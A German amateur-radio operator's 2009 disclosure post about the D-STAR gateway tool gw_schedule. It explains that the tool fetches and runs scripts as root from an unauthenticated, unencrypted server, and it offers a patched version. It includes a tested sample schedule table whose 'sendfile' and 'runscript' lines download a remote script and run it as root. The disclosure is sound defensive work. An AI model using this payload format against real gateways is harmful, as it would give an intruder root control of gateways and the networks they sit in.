Modifiziertes gw-schedule-Script V2 (2009-12-21)
fixt Sicherheitslöcher in den US-Trust-Tools
Die US-Trust-Tools haben mehrere Sicherheitslöcher,
die teilweise bekannt sind.
Ein konkretes Beispiel, womit ich
mich im Juli 2009 an Brian Roode (NJ6N), den Autor der
dsync-Server-Software und der dsync-Scripte gewendet habe, ist das
gw_schedule Tool. (auf jedem DStar-Gateway-Server am US-Trust-System unter
/dstar/scripts/gw_schedule zu finden)
Dieses Tool öffnet einen Zugang vom Internet mit root-Rechten nicht nur zum DStar-Gateway, sondern indirekt zu dem ganzen Netz in dem es betrieben wird.
Funktionsweise von gw_schedule:
Das Script verbindet sich per cron gesteuert alle 15 Minuten mit dem Server dsyncg2.dstaruser.org (genauer gesagt, es verbindet sich zu einem Server, der sich unter diesem Hostnamen meldet)
Die komplette Kommunikation läuft ohne jede
Authentifizierung, unverschlüsselt im Klartext.
Weder der
dsync-Server weiß also welcher Client sich anmeldet, noch das
Client-Script, ob es wirklich beim richtigen Server gelandet ist.
Der Verbindungsaufbau erfolgt über Hostnamen, nicht per fixer IP (d.h. „DNS-Spoofing leicht gemacht“).
Das Script gibt es zum Analysieren der Kommunikation und Funktion
für Jedermann frei Haus zum Runterladen im Web.
Adressen und
alles was man sonst zum Hacken braucht stehen drin.
Auf dem vom Script erreichten Server liegt eine ASCII-Tabelle, mit dem Namen „schedule_data“, die Felder sind per Tab separiert.
Diese Tabelle ist offen zugänglich und für
Jedermann per Browser abrufbar.
Es hat folgendem Aufbau (Muster):
200907171435 DB0LJ status
200907171515 DB0MYK sendfile http://dstar.prgm.org/test.sh test.sh
200907171516 DB0MYK runscript test.sh
200907171640 DB0LJ runscript test1.sh
Dies ist eine Musterdatei, die liegt auf meinem
Server, ist getestet und mit dem gw_schedule-Script voll
funktionsfähig!
Eine Anleitung, wie man das mit dem eigenen
Gateway ausprobieren kann gebe ich gerne per EMail.
Vorne steht die genaue Uhrzeit, wann ein bestimmtes Gateway eine Funktion ausführen soll.
Danach folgt das Call des Gateways, was etwas tun soll. Dort kann auch der Platzhalter „ALL“ stehen, dann machen das alle eingeschalteten Gateways zur angegebenen Zeit weltweit.
Danach folgt ein Befehl, der ausgeführt werden soll:
o Das kann z.B. der Befehl „status“ sein, dann meldet das Gateway seinen Status an den Server zurück.
o
„Sendfile“ veranlasst das Gateway sich aus dem
Internet von irgendeiner nachfolgend angegebenen Adresse ein File runter
zu laden und unter dem Namen am Ende der Zeile lokal abzulegen.
„File“ kann alles sein, von einem Script bis hin zum
fertigen Installationspaket für einen SSH-Tunnel zu einem
Rechner im Internet.
o Der Befehl „runscript“ führt das dahinter angegebene Script mit root-Rechten aus („root“ ist der Administrations-Account auf LinuX-Systemen). Das kann das File sein, was gerade von irgendwo geladen wurde oder eine neue Firewall-Config, ein Script was die Passwortdatei modifiziert oder ersetzt, beliebige Useraccounts anlegt, Dstar-User anlegt oder die Festplatte neu partitioniert und formattiert..
o Es gibt noch mehr Befehle, die der Server akzeptiert, aber die 2 letzten reichen um ein Gateway komplett neu aufzusetzen.
Die generelle Funktionalität finde ich sehr
gut, das ist für Leute, die von Linux keine Ahnung haben –
die einfach nur ein Gateway betreiben wollen ohne einen Linux- oder
Netzwerk-Admin-Lehrgang zu machen - absolut genial.
Kritisch ist
die Sicherheit dieser Sache, denn das Ganze läuft ohne jede
Authentifizierung.
Damit kann ich jedes Gateway stoppen, starten, stören, neu formatieren, Passwortdateien austauschen, Emails versenden und beliebige Dinge downloaden oder aber z.B. auch einen Tunnel vom Gateway ins Internet aufbauen und damit ein Loch in die Firewall eines Routers bohren, um von außen ins Netz einzu- steigen in dem das Gateway hängt. Es besteht damit nicht nur eine Gefährdung des DStar-Gateways, wo mancher sagt „das ist mir egal, da sind keine kritischen Daten drauf, das installiere ich schnell neu“, es besteht auch die Gefahr für das Netz in dem das Gateway betrieben wird.
Ich halte es für fair, wenn die Sysops von Gateways am US-Trust-System diese Sicherheitslücke zumindest kennen, dann können sie selbst entscheiden, ob sie sie in Kauf nehmen.
Ich selbst betreibe das betreffende Script aus den angegebenen Gründen bei DB0MYK schon lange nicht mehr (bei http://dsyncg2.dstarusers.org/index.php?gw_status=DB0MYK zu erkennen).
Ich stelle diese modifizierte Script-Version gerne zur Verfügung, sie schließt diese Lücke, es bleiben dann noch ein paar andere kleinere.
Mit dieser Scriptversion sind keine automatischen Updates mehr möglich, sie werden zwar vom Server geladen und eine Benachrichtigung erstellt, sie werden aber nicht ausgeführt.
Mein Tip solange diese Funktion vollkommen ohne Authentifizierung abläuft:
Herunterladen von automatischen Updates ja, aber vor dem Ausführen zuerst hineingucken oder Rückmeldungen anderer
abwarten, die den notwendigen Sachverstand haben.
Vy 73
Hans-Jürgen,
DL5DI
http://dl5di.prgm.org
SysOp
@DA5UDI, DB0LJ, DB0MYK
Packet-Radio-Gruppe-Mittelrhein
e.V.
http://www.prgm.org
Tel.:
02652 - 93 83 77
Skype: DL5DI